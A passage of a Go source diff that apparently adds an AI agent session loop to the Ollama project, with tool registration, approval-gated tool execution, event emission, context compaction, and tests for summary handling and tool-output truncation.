+		{Role: "user", Content: "what changed?"},
+		{Role: "assistant", ToolCalls: []api.ToolCall{{
+			ID: "call-1",
+			Function: api.ToolCallFunction{
+				Name: "bash",
+			},
+		}}},
+		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
+	}, 300)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if estimateCompactionTokens(body) > 300 {
+		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
+	}
+	if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
+		t.Fatal("already-truncated tool output was not truncated again")
+	}
+	if !strings.Contains(body, "[tool output truncated: showing first ~") {
+		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
+	}
+}
+
+func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
+	content := compactionSummaryMessageForTask("worked on branch changes", false)
+	if got := CompactionSummaryText(content); got != "worked on branch changes" {
+		t.Fatalf("summary text = %q", got)
+	}
+}
+
+func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
+	content := compactionSummaryMessageForTask("worked on branch changes", true)
+	if !strings.Contains(content, CompactionContinueInstruction) {
+		t.Fatalf("summary message missing continue instruction: %q", content)
+	}
+	if got := CompactionSummaryText(content); got != "worked on branch changes" {
+		t.Fatalf("summary text = %q", got)
+	}
+}
+
+func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
+	tests := []struct {
+		name       string
+		options    map[string]any
+		configured int
+		want       int
+	}{
+		{
+			name:       "explicit smaller num ctx",
+			options:    map[string]any{"num_ctx": 4096},
+			configured: 8192,
+			want:       4096,
+		},
+		{
+			name:       "explicit num ctx can exceed configured metadata",
+			options:    map[string]any{"num_ctx": 131072},
+			configured: 8192,
+			want:       131072,
+		},
+		{
+			name:       "metadata without explicit num ctx",
+			configured: 32768,
+			want:       32768,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
+				t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
+			}
+		})
+	}
+}
+
+func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "forced summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.8,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Due || !result.Compacted {
+		t.Fatalf("forced compaction result = %#v", result)
+	}
+	if result.Summary != "forced summary" {
+		t.Fatalf("summary = %q", result.Summary)
+	}
+}
+
+func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "one"},
+			{Role: "assistant", Content: "one answer"},
+			{Role: "user", Content: "two"},
+			{Role: "assistant", Content: "two answer"},
+			{Role: "user", Content: "three"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if got := result.Messages[2].Content; got != "one" {
+		t.Fatalf("first kept turn = %q, want one", got)
+	}
+}
+
+func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "new summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
+		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
+	}
+}
+
+func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "new summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	messages := []api.Message{
+		{Role: "user", Content: "kept before old summary"},
+		CompactionSummaryMessages("old summary", false)[0],
+		CompactionSummaryMessages("old summary", false)[1],
+		{Role: "user", Content: "latest request"},
+	}
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
+		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if result.Messages[2].Content != "latest request" {
+		t.Fatalf("kept suffix = %#v", result.Messages)
+	}
+}

agent/events.go

@@ -0,0 +1,79 @@
+package agent
+
+import (
+	"context"
+
+	"github.com/ollama/ollama/api"
+)
+
+type EventType string
+
+const (
+	EventMessageDelta       EventType = "message_delta"
+	EventThinkingDelta      EventType = "thinking_delta"
+	EventToolCallDetected   EventType = "tool_call_detected"
+	EventToolStarted        EventType = "tool_started"
+	EventToolFinished       EventType = "tool_finished"
+	EventCompactionStarted  EventType = "compaction_started"
+	EventCompactionProgress EventType = "compaction_progress"
+	EventCompacted          EventType = "compacted"
+	EventCompactionSkipped  EventType = "compaction_skipped"
+	EventRunFinished        EventType = "run_finished"
+	EventError              EventType = "error"
+)
+
+type Event struct {
+	Type       EventType      `json:"type"`
+	RunID      string         `json:"runId,omitempty"`
+	ChatID     string         `json:"chatId,omitempty"`
+	Model      string         `json:"model,omitempty"`
+	Status     string         `json:"status,omitempty"`
+	ToolCallID string         `json:"toolCallId,omitempty"`
+	ToolName   string         `json:"toolName,omitempty"`
+	WorkingDir string         `json:"workingDir,omitempty"`
+	Content    string         `json:"content,omitempty"`
+	Thinking   string         `json:"thinking,omitempty"`
+	ToolCalls  []api.ToolCall `json:"toolCalls,omitempty"`
+	Messages   []api.Message  `json:"messages,omitempty"`
+	Args       map[string]any `json:"args,omitempty"`
+	Tokens     int            `json:"tokens,omitempty"`
+	Error      string         `json:"error,omitempty"`
+}
+
+type EventSink interface {
+	Emit(Event) error
+}
+
+type EventSinkFunc func(Event) error
+
+func (fn EventSinkFunc) Emit(event Event) error {
+	if fn == nil {
+		return nil
+	}
+	return fn(event)
+}
+
+func (s *Session) emit(event Event) error {
+	if s == nil {
+		return nil
+	}
+	var firstErr error
+	for _, sink := range s.EventSinks {
+		if sink == nil {
+			continue
+		}
+		if err := sink.Emit(event); err != nil && firstErr == nil {
+			firstErr = err
+		}
+	}
+	return firstErr
+}
+
+func (s *Session) emitIgnoringCanceled(ctx context.Context, event Event) error {
+	err := s.emit(event)
+	if err != nil && ctx != nil && ctx.Err() != nil {
+		//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
+		return nil
+	}
+	return err
+}

agent/registry.go

@@ -0,0 +1,97 @@
+package agent
+
+import (
+	"context"
+	"fmt"
+	"sort"
+
+	"github.com/ollama/ollama/api"
+)
+
+type ToolContext struct {
+	WorkingDir string
+}
+
+type ToolResult struct {
+	Content    string
+	WorkingDir string
+}
+
+type Tool interface {
+	Name() string
+	Description() string
+	Schema() api.ToolFunction
+	Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
+}
+
+type ApprovalRequired interface {
+	RequiresApproval(map[string]any) bool
+}
+
+type Registry struct {
+	tools map[string]Tool
+}
+
+func (r *Registry) Register(tool Tool) {
+	if r == nil || tool == nil {
+		return
+	}
+	if r.tools == nil {
+		r.tools = make(map[string]Tool)
+	}
+	r.tools[tool.Name()] = tool
+}
+
+func (r *Registry) Get(name string) (Tool, bool) {
+	if r == nil {
+		return nil, false
+	}
+	tool, ok := r.tools[name]
+	return tool, ok
+}
+
+func (r *Registry) Names() []string {
+	if r == nil {
+		return nil
+	}
+	names := make([]string, 0, len(r.tools))
+	for name := range r.tools {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+func (r *Registry) Tools() api.Tools {
+	if r == nil {
+		return nil
+	}
+	names := r.Names()
+	apiTools := make(api.Tools, 0, len(names))
+	for _, name := range names {
+		tool := r.tools[name]
+		apiTools = append(apiTools, api.Tool{
+			Type:     "function",
+			Function: tool.Schema(),
+		})
+	}
+	return apiTools
+}
+
+func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
+	tool, ok := r.Get(call.Function.Name)
+	if !ok {
+		return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
+	}
+	return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
+}
+
+func ToolRequiresApproval(tool Tool, args map[string]any) bool {
+	if tool == nil {
+		return false
+	}
+	if t, ok := tool.(ApprovalRequired); ok {
+		return t.RequiresApproval(args)
+	}
+	return false
+}

agent/session.go

@@ -0,0 +1,1023 @@
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/google/uuid"
+
+	"github.com/ollama/ollama/api"
+)
+
+type ChatClient interface {
+	Chat(context.Context, *api.ChatRequest, api.ChatResponseFunc) error
+}
+
+type Session struct {
+	Client           ChatClient
+	EventSinks       []EventSink
+	Tools            *Registry
+	DisableTools     bool
+	ApprovalPrompter ApprovalPrompter
+	ApprovalState    *ApprovalState
+	WorkingDir       string
+	Compactor        Compactor
+}
+
+type RunOptions struct {
+	ChatID       string
+	Model        string
+	SystemPrompt string
+	Messages     []api.Message
+	NewMessages  []api.Message
+	Format       string
+	Options      map[string]any
+	Think        *api.ThinkValue
+	KeepAlive    *api.Duration
+	// MaxToolRounds limits consecutive model/tool cycles.
+	// Zero uses the default guard; negative disables the guard for tests or
+	// special callers.
+	MaxToolRounds int
+}
+
+type RunResult struct {
+	Messages   []api.Message
+	Latest     api.ChatResponse
+	WorkingDir string
+}
+
+const (
+	defaultMaxToolRounds              = 100
+	maxToolResultRunes                = 60000
+	smallContextToolResultRunes       = 6000
+	tinyContextToolResultRunes        = 3200
+	smallContextToolResultTokenWindow = 8192
+	tinyContextToolResultTokenWindow  = 4096
+	toolTruncationMarkerReserveTokens = 64
+	toolOutputFullOmissionPrefix      = "[tool output truncated: output omitted because the context is full;"
+)
+
+type toolOutputOverflow struct {
+	toolName   string
+	toolCallID string
+	content    string
+}
+
+type toolBatchResult struct {
+	messages  []api.Message
+	stop      toolExecutionStop
+	overflows []toolOutputOverflow
+}
+
+type toolExecutionStop string
+
+const (
+	toolExecutionDenied   toolExecutionStop = "denied"
+	toolExecutionCanceled toolExecutionStop = "canceled"
+)
+
+const toolExecutionDisabledMessage = "Tool execution disabled."
+
+type runPhase int
+
+const (
+	runPhaseModel runPhase = iota
+	runPhaseTools
+	runPhaseCompact
+	runPhaseDone
+)
+
+type runState struct {
+	runID string
+	opts  RunOptions
+
+	phase runPhase
+
+	messages []api.Message
+	latest   api.ChatResponse
+
+	assistant        api.Message
+	pendingToolCalls []api.ToolCall
+	canceled         bool
+
+	toolBatch *toolBatchResult
+
+	consecutiveModelErrors int
+	toolRounds             int
+	maxToolRounds          int
+	compactionSkipNotified bool
+
+	finish runFinish
+}
+
+type runFinish struct {
+	status         string
+	ignoreCanceled bool
+	err            error
+}
+
+func (st *runState) finishDone() {
+	st.finish = runFinish{status: "done"}
+	st.phase = runPhaseDone
+}
+
+func (st *runState) finishDenied() {
+	st.finish = runFinish{status: "denied"}
+	st.phase = runPhaseDone
+}
+
+func (st *runState) finishCanceled() {
+	st.finish = runFinish{status: "canceled", ignoreCanceled: true}
+	st.phase = runPhaseDone
+}
+
+func (st *runState) finishError(err error) {
+	st.finish = runFinish{err: err}
+	st.phase = runPhaseDone
+}
+
+func (s *Session) Run(ctx context.Context, opts RunOptions) (*RunResult, error) {
+	if s == nil {
+		return nil, errors.New("nil session")
+	}
+	if s.Client == nil {
+		return nil, errors.New("agent session requires a chat client")
+	}
+	if opts.Model == "" {
+		return nil, errors.New("agent session requires a model")
+	}
+	if s.ApprovalState == nil {
+		s.ApprovalState = &ApprovalState{}
+	}
+	runID := uuid.NewString()
+	messages := make([]api.Message, 0, len(opts.Messages)+len(opts.NewMessages))
+	for _, msg := range opts.Messages {
+		messages = append(messages, sanitizeMessageForRun(msg))
+	}
+	for _, msg := range opts.NewMessages {
+		msg = sanitizeMessageForRun(msg)
+		messages = append(messages, msg)
+	}
+
+	if err := s.checkPreflightPromptBudget(opts, messages); err != nil {
+		s.emit(Event{Type: EventError, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
+		return nil, err
+	}
+
+	st := runState{
+		runID:         runID,
+		opts:          opts,
+		phase:         runPhaseModel,
+		messages:      messages,
+		maxToolRounds: resolvedMaxToolRounds(opts.MaxToolRounds),
+	}
+	for {
+		switch st.phase {
+		case runPhaseModel:
+			if err := s.runModelStep(ctx, &st); err != nil {
+				return nil, err
+			}
+		case runPhaseTools:
+			if err := s.runToolStep(ctx, &st); err != nil {
+				return nil, err
+			}
+		case runPhaseCompact:
+			if err := s.runCompactionStep(ctx, &st); err != nil {
+				return &RunResult{Messages: st.messages, Latest: st.latest, WorkingDir: s.WorkingDir}, err
+			}
+		case runPhaseDone:
+			return s.finishRun(ctx, &st)
+		}
+	}
+}
+
+func (s *Session) runModelStep(ctx context.Context, st *runState) error {
+	opts := st.opts
+
+	assistant, pendingToolCalls, canceled, err := s.chatRound(ctx, st.runID, opts, st.messages, &st.latest)
+	if err != nil {
+		var statusErr api.StatusError
+		if errors.As(err, &statusErr) && statusErr.StatusCode >= 500 && st.consecutiveModelErrors < 2 {
+			st.consecutiveModelErrors++
+			st.messages = append(st.messages, api.Message{
+				Role:    "user",
+				Content: fmt.Sprintf("Your previous response caused an error: %s\n\nPlease try again with a valid response.", statusErr.ErrorMessage),
+			})
+			return nil
+		}
+		s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
+		return err
+	}
+	st.consecutiveModelErrors = 0
+	st.assistant = assistant
+	st.pendingToolCalls = pendingToolCalls
+	st.canceled = canceled
+
+	if !messageEmpty(assistant) {
+		st.messages = append(st.messages, assistant)
+	}
+
+	if len(pendingToolCalls) == 0 {
+		st.toolBatch = nil
+		st.phase = runPhaseCompact
+		return nil
+	}
+
+	if canceled {
+		skipped, skipErr := s.skipToolCalls(ctx, st.runID, opts, pendingToolCalls, "Tool execution skipped because the run was canceled.")
+		if skipErr != nil {
+			s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: skipErr.Error()})
+			return skipErr
+		}
+		st.messages = append(st.messages, skipped...)
+		st.finishCanceled()
+		return nil
+	}
+
+	if s.DisableTools {
+		batch, skipErr := s.disabledToolCalls(ctx, st.runID, opts, st.messages, pendingToolCalls)
+		if skipErr != nil {
+			s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: skipErr.Error()})
+			return skipErr
+		}
+		st.messages = append(st.messages, batch.messages...)
+		st.toolBatch = &batch
+		st.phase = runPhaseCompact
+		return nil
+	}
+
+	if s.Tools == nil {
+		st.finishDone()
+		return nil
+	}
+
+	if st.maxToolRounds >= 0 && st.toolRounds >= st.maxToolRounds {
+		content := fmt.Sprintf("Tool execution skipped because the max tool-round limit of %d was reached. Send another message to continue.", st.maxToolRounds)
+		toolMessages, skipErr := s.skipToolCalls(ctx, st.runID, opts, pendingToolCalls, content)
+		if skipErr != nil {
+			s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: skipErr.Error()})
+			return skipErr
+		}
+		st.messages = append(st.messages, toolMessages...)
+		err := fmt.Errorf("tool round limit reached after %d rounds; send another message to continue", st.maxToolRounds)
+		s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
+		st.finishError(err)
+		return nil
+	}
+
+	st.phase = runPhaseTools
+	return nil
+}
+
+func (s *Session) runToolStep(ctx context.Context, st *runState) error {
+	batch, err := s.executeToolCalls(ctx, st.runID, st.opts, st.messages, st.pendingToolCalls)
+	if err != nil {
+		s.emit(Event{Type: EventError, RunID: st.runID, ChatID: st.opts.ChatID, Model: st.opts.Model, Error: err.Error()})
+		return err
+	}
+
+	st.messages = append(st.messages, batch.messages...)
+	st.toolBatch = &batch
+	st.phase = runPhaseCompact
+	return nil
+}
+
+func (s *Session) runCompactionStep(ctx context.Context, st *runState) error {
+	opts := st.opts
+	var err error
+	if st.toolBatch != nil && len(st.toolBatch.overflows) > 0 {
+		st.messages, st.compactionSkipNotified, err = s.compactForToolOutputOverflow(ctx, st.runID, opts, st.messages, st.latest, st.assistant, st.toolBatch.messages, st.toolBatch.overflows, st.compactionSkipNotified)
+	} else {
+		st.messages, st.compactionSkipNotified, err = s.maybeCompact(ctx, st.runID, opts, st.messages, st.latest, st.compactionSkipNotified)
+	}
+	if err != nil {
+		s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
+		return err
+	}
+
+	if st.toolBatch == nil {
+		if st.canceled {
+			st.finishCanceled()
+		} else {
+			st.finishDone()
+		}
+		return nil
+	}
+
+	switch st.toolBatch.stop {
+	case toolExecutionDenied:
+		st.finishDenied()
+	case toolExecutionCanceled:
+		st.finishCanceled()
+	default:
+		st.toolRounds++
+		st.assistant = api.Message{}
+		st.pendingToolCalls = nil
+		st.toolBatch = nil
+		st.phase = runPhaseModel
+	}
+	return nil
+}
+
+func (s *Session) finishRun(ctx context.Context, st *runState) (*RunResult, error) {
+	if st.finish.status != "" {
+		event := Event{Type: EventRunFinished, RunID: st.runID, ChatID: st.opts.ChatID, Model: st.opts.Model, Status: st.finish.status}
+		var err error
+		if st.finish.ignoreCanceled {
+			err = s.emitIgnoringCanceled(ctx, event)
+		} else {
+			err = s.emit(event)
+		}
+		if err != nil {
+			return nil, err
+		}
+	}
+	return &RunResult{Messages: st.messages, Latest: st.latest, WorkingDir: s.WorkingDir}, st.finish.err
+}
+
+func (s *Session) chatRound(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest *api.ChatResponse) (api.Message, []api.ToolCall, bool, error) {
+	var tools api.Tools
+	if !s.DisableTools {
+		tools = s.availableTools()
+	}
+	req := buildChatRequest(opts, messages, tools)
+
+	assistant := api.Message{Role: "assistant"}
+	var pendingToolCalls []api.ToolCall
+
+	err := s.Client.Chat(ctx, &req, func(response api.ChatResponse) error {
+		if response.Message.Role != "" {
+			assistant.Role = response.Message.Role
+		}
+
+		if response.Message.Content == "" && response.Message.Thinking == "" && len(response.Message.ToolCalls) == 0 {
+			*latest = response
+			return nil
+		}
+
+		if response.Message.Thinking != "" {
+			assistant.Thinking += response.Message.Thinking
+			if err := s.emit(Event{Type: EventThinkingDelta, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Thinking: response.Message.Thinking}); err != nil {
+				return err
+			}
+		}
+
+		if response.Message.Content != "" {
+			assistant.Content += response.Message.Content
+			if err := s.emit(Event{Type: EventMessageDelta, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Content: response.Message.Content}); err != nil {
+				return err
+			}
+		}
+
+		if len(response.Message.ToolCalls) > 0 {
+			assistant.ToolCalls = append(assistant.ToolCalls, response.Message.ToolCalls...)
+			pendingToolCalls = append(pendingToolCalls, response.Message.ToolCalls...)
+			if err := s.emit(Event{Type: EventToolCallDetected, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, ToolCalls: response.Message.ToolCalls}); err != nil {
+				return err
+			}
+		}
+
+		*latest = response
+		return nil
+	})
+	if err != nil {
+		if isContextCanceledError(ctx, err) {
+			return assistant, pendingToolCalls, true, nil
+		}
+		return assistant, pendingToolCalls, false, err
+	}
+
+	return assistant, pendingToolCalls, false, nil
+}
+
+func buildChatRequest(opts RunOptions, messages []api.Message, tools api.Tools) api.ChatRequest {
+	requestMessages := sanitizeMessagesForRequest(messages)
+	if strings.TrimSpace(opts.SystemPrompt) != "" {
+		withSystem := make([]api.Message, 0, len(requestMessages)+1)
+		withSystem = append(withSystem, api.Message{Role: "system", Content: opts.SystemPrompt})
+		requestMessages = append(withSystem, requestMessages...)
+	}
+
+	format := opts.Format
+	if format == "json" {
+		format = `"` + format + `"`
+	}
+
+	req := api.ChatRequest{
+		Model:    opts.Model,
+		Messages: requestMessages,
+		Format:   json.RawMessage(format),
+		Options:  opts.Options,
+		Think:    opts.Think,
+	}
+	if opts.KeepAlive != nil {
+		req.KeepAlive = opts.KeepAlive
+	}
+	if len(tools) > 0 {
+		req.Tools = tools
+	}
+	return req
+}
+
+func (s *Session) executeToolCalls(ctx context.Context, runID string, opts RunOptions, messages []api.Message, calls []api.ToolCall) (toolBatchResult, error) {
+	batch := toolBatchResult{
+		messages: make([]api.Message, 0, len(calls)),
+	}
+	projectedMessages := append([]api.Message(nil), messages...)
+
+	type plannedToolCall struct {
+		call       api.ToolCall
+		tool       Tool
+		toolName   string
+		args       map[string]any
+		workingDir string
+	}
+	plans := make([]plannedToolCall, 0, len(calls))
+	batchWorkingDir := s.currentWorkingDir()
+	approvalReq := ApprovalRequest{WorkingDir: batchWorkingDir}
+	for _, call := range calls {
+		toolName := call.Function.Name
+		args := call.Function.Arguments.ToMap()
+		tool, ok := s.Tools.Get(toolName)
+		plans = append(plans, plannedToolCall{
+			call:       call,
+			tool:       tool,
+			toolName:   toolName,
+			args:       args,
+			workingDir: batchWorkingDir,
+		})
+		if ok && s.needsApproval(tool, toolName, args) {
+			approvalReq.AddToolCall(call.ID, toolName, args)
+		}
+	}
+
+	if len(approvalReq.Calls) > 0 {
+		approvalResult, err := s.authorizeToolCalls(ctx, approvalReq)
+		if err != nil {
+			if ctx.Err() != nil {
+				skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls, "Tool execution skipped because the run was canceled.")
+				if skipErr != nil {
+					return toolBatchResult{}, skipErr
+				}
+				batch.messages = append(batch.messages, skipped...)
+				batch.stop = toolExecutionCanceled
+				return batch, nil
+			}
+			return toolBatchResult{}, err
+		}
+		if !approvalResult.Allow {
+			content := approvalResult.Reason
+			if content == "" {
+				content = "Tool execution denied."
+			}
+			for _, plan := range plans {
+				msg := s.toolMessageForContext(plan.toolName, plan.call.ID, content, opts, projectedMessages)
+				batch.messages = append(batch.messages, msg)
+				projectedMessages = append(projectedMessages, msg)
+				deniedContent := msg.Content
+				if emitErr := s.emit(Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "denied", ToolCallID: plan.call.ID, ToolName: plan.toolName, Args: plan.args, Content: deniedContent, Error: deniedContent}); emitErr != nil {
+					return toolBatchResult{}, emitErr
+				}
+			}
+			batch.stop = toolExecutionDenied
+			return batch, nil
+		}
+	}
+
+	for i, plan := range plans {
+		call := plan.call
+		toolName := plan.toolName
+		args := plan.args
+		if ctx.Err() != nil {
+			skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i:], "Tool execution skipped because the run was canceled.")
+			if skipErr != nil {
+				return toolBatchResult{}, skipErr
+			}
+			batch.messages = append(batch.messages, skipped...)
+			batch.stop = toolExecutionCanceled
+			return batch, nil
+		}
+		if plan.tool == nil {
+			content := fmt.Sprintf("Error: unknown tool: %s", toolName)
+			msg := s.toolMessageForContext(toolName, call.ID, content, opts, projectedMessages)
+			batch.messages = append(batch.messages, msg)
+			projectedMessages = append(projectedMessages, msg)
+			content = msg.Content
+			if toolOutputFullyOmitted(content) {
+				batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: fmt.Sprintf("Error: unknown tool: %s", toolName)})
+			}
+			if emitErr := s.emit(Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "failed", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: content, Error: fmt.Sprintf("unknown tool: %s", toolName)}); emitErr != nil {
+				return toolBatchResult{}, emitErr
+			}
+			continue
+		}
+
+		if err := s.emit(Event{Type: EventToolStarted, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "running", ToolCallID: call.ID, ToolName: toolName, WorkingDir: plan.workingDir, Args: args}); err != nil {
+			return toolBatchResult{}, err
+		}
+
+		result, err := s.Tools.Execute(ctx, ToolContext{WorkingDir: plan.workingDir}, call)
+		if err != nil {
+			rawContent := fmt.Sprintf("Error: %v", err)
+			msg := s.toolMessageForContext(toolName, call.ID, rawContent, opts, projectedMessages)
+			batch.messages = append(batch.messages, msg)
+			projectedMessages = append(projectedMessages, msg)
+			content := msg.Content
+			if toolOutputFullyOmitted(content) {
+				batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: rawContent})
+			}
+			if emitErr := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "failed", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: content, Error: err.Error()}); emitErr != nil {
+				return toolBatchResult{}, emitErr
+			}
+			if ctx.Err() != nil {
+				skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i+1:], "Tool execution skipped because the run was canceled.")
+				if skipErr != nil {
+					return toolBatchResult{}, skipErr
+				}
+				batch.messages = append(batch.messages, skipped...)
+				batch.stop = toolExecutionCanceled
+				return batch, nil
+			}
+			continue
+		}
+
+		eventWorkingDir := plan.workingDir
+		if s.applyToolWorkingDir(result.WorkingDir) {
+			eventWorkingDir = s.WorkingDir
+		}
+		rawContent := result.Content
+
+		msg := s.toolMessageForContext(toolName, call.ID, rawContent, opts, projectedMessages)
+		batch.messages = append(batch.messages, msg)
+		projectedMessages = append(projectedMessages, msg)
+		content := msg.Content
+
+		if toolOutputFullyOmitted(content) {
+			batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: rawContent})
+		}
+		if err := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "done", ToolCallID: call.ID, ToolName: toolName, WorkingDir: eventWorkingDir, Args: args, Content: content}); err != nil {
+			return toolBatchResult{}, err
+		}
+		if ctx.Err() != nil {
+			skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i+1:], "Tool execution skipped because the run was canceled.")
+			if skipErr != nil {
+				return toolBatchResult{}, skipErr
+			}
+			batch.messages = append(batch.messages, skipped...)
+			batch.stop = toolExecutionCanceled
+			return batch, nil
+		}
+	}
+	return batch, nil
+}
+
+func (s *Session) disabledToolCalls(ctx context.Context, runID string, opts RunOptions, messages []api.Message, calls []api.ToolCall) (toolBatchResult, error) {
+	batch := toolBatchResult{
+		messages: make([]api.Message, 0, len(calls)),
+	}
+	projectedMessages := append([]api.Message(nil), messages...)
+	for _, call := range calls {
+		toolName := call.Function.Name
+		args := call.Function.Arguments.ToMap()
+		msg := s.toolMessageForContext(toolName, call.ID, toolExecutionDisabledMessage, opts, projectedMessages)
+		batch.messages = append(batch.messages, msg)
+		projectedMessages = append(projectedMessages, msg)
+		if emitErr := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "disabled", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: msg.Content, Error: msg.Content}); emitErr != nil {
+			return toolBatchResult{}, emitErr
+		}
+	}
+	return batch, nil
+}
+
+func (s *Session) skipToolCalls(ctx context.Context, runID string, opts RunOptions, calls []api.ToolCall, content string) ([]api.Message, error) {
+	toolMessages := make([]api.Message, 0, len(calls))
+	for _, call := range calls {
+		toolName := call.Function.Name
+		args := call.Function.Arguments.ToMap()
+		msg := toolMessage(toolName, call.ID, content)
+		toolMessages = append(toolMessages, msg)
